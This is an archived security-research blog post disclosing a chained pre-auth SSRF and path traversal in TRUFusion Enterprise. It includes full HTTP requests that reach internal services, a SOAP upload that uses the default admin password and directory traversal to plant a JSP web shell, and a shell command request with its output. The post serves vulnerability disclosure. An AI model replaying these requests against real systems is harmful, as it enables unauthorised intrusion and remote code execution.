

When Audits Fail Part 2: From Pre-Auth SSRF ...

When Audits Fail Part 2: From Pre-Auth SSRF ... - Author not stated, RCE Security GmbH - Your European Partner for Offensive Security.

- Published: date not stated
- Original: <<https://www.rcesecurity.com/2026/02/when-audits-fail-from-pre-auth-ssrf-to-rce-in-trufusion-enterprise/>>
- Preserved from: <https://www.rcesecurity.com/2026/02/when-audits-fail-from-pre-auth-ssrf-to-rce-in-trufusion-enterprise/> (live) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

In September 2025, we published [a research article](#) describing multiple pre-auth vulnerabilities in Rocket Software's TRUFusion Enterprise, a product [marketed as a "secure data exchange platform"](#). Our analysis demonstrated that an unauthenticated attacker could fully compromise a TRUFusion instance without possessing valid credentials.

One issue we intentionally excluded from that initial publication was an additional, high-impact server-side request forgery vulnerability ([CVE-2025-32355](#)) that remained unpatched for almost a year. This SSRF can be chained with the default password `trubiquity` and an additional path traversal vulnerability in the `WsPortalV6UpDwAxis2Impl` service ([CVE-2025-59793](#)) to achieve pre-auth remote code execution once again.

Full Read Pre-Auth SSRF (CVE-2025-32355)

TRUFusion Enterprise uses a reverse proxy to route different endpoints to different internal services. However, the proxy is misconfigured to accept absolute URLs in the HTTP request line. When such a request is received, the proxy incorrectly treats the supplied URL as a routable backend target and initiates an outbound request to the specified resource, returning the response to the client. As a result, an attacker can force the proxy into fetching and proxying arbitrary external resources, effectively turning it into an unauthenticated forward proxy.

The following example demonstrates this behaviour by loading our website:

```
GET https://www.rcesecurity.com/ HTTP/1.1
Host: target.com
```

Request

```
1 GET https://www.rcesecurity.com HTTP/1.1
2 Host:
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.9
6 Accept-Encoding: gzip, deflate, br
7 Upgrade-Insecure-Requests: 1
8 Sec-Fetch-Dest: document
9 Sec-Fetch-Mode: navigate
10 Sec-Fetch-Site: none
11 Sec-Fetch-User: 71
12 X-Pwnfox-Color: blue
13 Priority: u=0, i
14 Te: trailers
15 Connection: keep-alive
```

Response

```
1 HTTP/1.1 200 OK
2 Date: Sun, 08 Feb 2026 20:04:11 GMT
3 Server: Apache
4 Last-Modified: Sun, 08 Feb 2026 18:29:55 GMT
5 Accept-Ranges: bytes
6 Vary: Accept-Encoding
7 Content-Length: 15577
8 Content-Type: text/html
9 Via: 1.1 127.0.1.1
10 Keep-Alive: timeout=5, max=100
11 Connection: Keep-Alive
12
13 <!doctype html><html lang=en-us>
14 <head>
15 <meta name=generator content="Hugo 0.155.2">
16 <meta charset=utf-8>
17 <meta name=viewport content="width=device-width,initial-scale=1">
18 <title>
19 RCE Security - Your European Offensive Security Partner
20 </title>
21 <meta name=description content="Modern Offensive Security and Continuous
22 Testing">
```

While this behaviour is already problematic by effectively exposing the service as an open, unauthenticated forward proxy, the proxy can also be abused to access internal services. By specifying internal IP addresses or hostnames as the absolute URL, an attacker can reach otherwise non-exposed internal applications, such as a related Keycloak instance:

Request

```
1 GET https://10.10.10.10:8445/admin/master/console/ HTTP/1.1
2 Host:
3 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36
4 Priority: u=6
```

Response

```
1 HTTP/1.1 200 OK
2 Date: Mon, 25 Aug 2025 14:29:30 GMT
3 Server: Apache/2.4.52 (Ubuntu)
4 content-length: 2753
5 Cache-Control: no-cache
6 Content-Language: en
7 Content-Security-Policy: frame-src
8 Content-Type: text/html; charset=utf-8
9 Referrer-Policy: no-referrer
10 Strict-Transport-Security: max-age=31536000; includeSubDomains
11 X-Content-Type-Options: nosniff
12 X-Frame-Options: SAMEORIGIN
13 X-Robots-Tag: none
14 X-XSS-Protection: 1; mode=block
15 Via: 1.1 127.0.1.1:8445
16 Vary: Accept-Encoding
17
18 <!DOCTYPE html>
19 <html lang="en">
20 <head>
21 <meta charset="UTF-8" />
22 <base href="/resources/zacgl/admin/keycloak.v2/">
23 <link rel="icon" type="image/svg+xml" href="/resources/zacgl/admin/keycloak.v2/icon.png">
24 <meta name="viewport" content="width=device-width,initial-scale=1">
25 <meta name="description" content="Web site to manage user access to applications and services">
26
27 <title>
28 Keycloak Administration UI
29 </title>
```

A Full-read SSRF is already a powerful vulnerability, and - in case of TRUFusion - can be used to query an interesting Axis 2 interface that is only reachable through localhost:

Request

```
1 GET http://localhost/axis2/axis2-admin/welcome HTTP/1.1
2 Host:
3 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0
  Safari/537.36
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7
8
```

Response

```
1 HTTP/1.1 200
2 Date: Tue, 26 Aug 2025 12:52:28 GMT
3 Server: Apache/2.4.64 (Win64) OpenSSL/3.5.1
4 Content-Security-Policy: default-src 'self' 'unsafe-in
  script-src 'self' 'unsafe-inline' 'unsafe-eval';
5 Strict-Transport-Security: max-age=31536000; includeSul
6 X-Content-Type-Options: nosniff
7 X-XSS-Protection: 1; mode=block
8 Content-Type: text/html;charset=ISO-8859-1
9 Content-Length: 5593
10 Via: 1.1
11
12
13
14
15 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http
16 <html>
17     <head>
18
19
20
21
22
23
24
25
26
27     <base href="http://localhost/axis2/">
28     <title>
        Login to Axis2 :: Administration page
    </title>
```

Post-Auth Path Traversal (CVE-2025-59793)

The Axis2 instance exposes a service called `WsPortalV6UpDwAxis2Impl`, which can be used to upload files through an XML request like this:

```
POST http://localhost/axis2/services/WsPortalV6UpDwAxis2Impl HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101
Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
SOAPAction: urn:uploadFile
Priority: u=0, i
Te: trailers
Connection: keep-alive
Content-Type: text/xml
Content-Length: 1531

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:updw="http://updw.webservice.ddxPortalV6.ddxv6.procaess.com">
  <soapenv:Header/>
  <soapenv:Body>
    <updw:uploadFile>
      <!--type: string-->
      <updw:login>admin</updw:login>
      <!--type: string-->
      <updw:password>trubiquity</updw:password>
      <!--type: string-->
      <updw:archiveName>shell.jsp</updw:archiveName>
      <!--type: string-->
      <updw:jobNumberSend></updw:jobNumberSend>
      <!--type: string-->
      <updw:jobDirectory>../../../../opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp</up
dw:jobDirectory>
      <!--type: base64Binary-->
      <updw:dataHandler>Ly95b3VyIGpzCBjb2RlIGhlcmU=</updw:dataHandler>
    </updw:uploadFile>
  </soapenv:Body>
</soapenv:Envelope>
```

You might have noticed three things in this request:

-

The service requires a username and password; however, the administrative account ships with the default password `trubiquity`. If you're lucky enough, then the TRUfusion administrator hasn't changed that password since it seems to be an [optional process according to their documentation](#).

-

—

On this way, you can upload the same shell as used in our previous exploit:

To gain remote code execution (again):

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	POST	/trufusionPortal/jsp/410fc9214c93c7.jsp	HTTP/1.1	1	HTTP/1.1	200	
2	Host:			2	Date:	Wed, 10 Sep 2025 15:19:26 GMT	
3	User-Agent:	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0		3	Server:	Apache/2.4.52 (Ubuntu)	
4	Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8		4	X-XSS-Protection:	1; mode=block	
5	Te:	trailers		5	X-Content-Type-Options:	nosniff	
6	Connection:	keep-alive		6	X-FRAME-OPTIONS:	SAMEORIGIN	
7	Content-Type:	application/x-www-form-urlencoded		7	X-UA-Compatible:	IE=edge	
8	Content-Length:	79		8	Content-Type:	text/html; charset=UTF-8	
9				9	Content-Length:	188	
10	410fc9214c93c7=ls -l /opt/TRUFusion/web/tomcat/webapps/trufusionPortal/WEB-INF/			10	Set-Cookie:	JSESSIONID=227DC1DCDF6A1120B0FDB379A6A74D7C; Path=	
				11	Via:	1.1 127.0.1.1	
				12	Vary:	Accept-Encoding	
				13	Keep-Alive:	timeout=5, max=100	
				14	Connection:	Keep-Alive	
				15			
				16			
				17			
				18	<pre>		
				19	total 28		
				20	drwxr-x--- 3 ddxuser ddxuser 4096 Mar 7 2025 classes		
				21	drwxr-x--- 2 ddxuser ddxuser 4096 Mar 7 2025 lib		
				22	-rw-r----- 1 ddxuser ddxuser 18489 Mar 10 2025 web.xml		
				23			
				24	</pre>		

Stay safe out there.

Archived from <https://www.rcesecurity.com/2026/02/when-audits-fail-from-pre-auth-ssrf-to-rce-in-trufusion-entprise/>. Rendered offline from the local Markdown copy.